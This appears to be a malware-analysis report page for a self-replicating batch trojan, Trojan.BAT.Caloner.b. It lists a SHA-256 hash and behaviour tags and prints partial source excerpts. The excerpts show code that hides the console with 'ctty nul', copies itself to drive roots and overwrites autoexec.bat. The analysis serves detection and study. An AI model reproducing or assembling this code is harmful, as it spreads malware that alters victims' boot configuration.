Hostile ^100% Download

Trojan.BAT.Caloner.b

Self-replicating batch trojan

Batch script modifies boot configurationBatch copies its own file elsewhere

SHA-25697e7a24de7474add7a76d7b1e8d6a21c72391c4c9dfde9a6affc50004e05dd53

Evidence

Batch hides console via ctty nul lines 1–44

1ctty nul
2set e=echo
3set e=echo.
4goto byte
5set e=echo..
6:byte
7set s=xxxbomb.bat
8set s=sexbomb.bat
9goto kbyte
⋯12 lines
22%e%>>%s%
23%e%>>%s%
24dir>>%s%
25%e%>>%s%
26%e%>>%s%
⋯5 lines
32%e%>>%s%
33%e%cls>>%s%
34type %0>>%s%
35%c% c:\nul %n% %0 c:\%s%
36%c% d:\nul %n% %0 d:\%s%
⋯8 lines

References DOS boot configuration files lines 66–77

⋯5 lines
71%e%>>%s%
72%e%cls>>%s%
73%e%@echo                It will get on all your disks>c:\autoexec.bat
74%e%@echo                It will infiltrate your chips>>c:\autoexec.bat
75%e%@echo                It will stick to you like glue>>c:\autoexec.bat
76%e%@echo                It will modify ram too>>c:\autoexec.bat
77%e%@echo                Yes, ... it`z BatchC …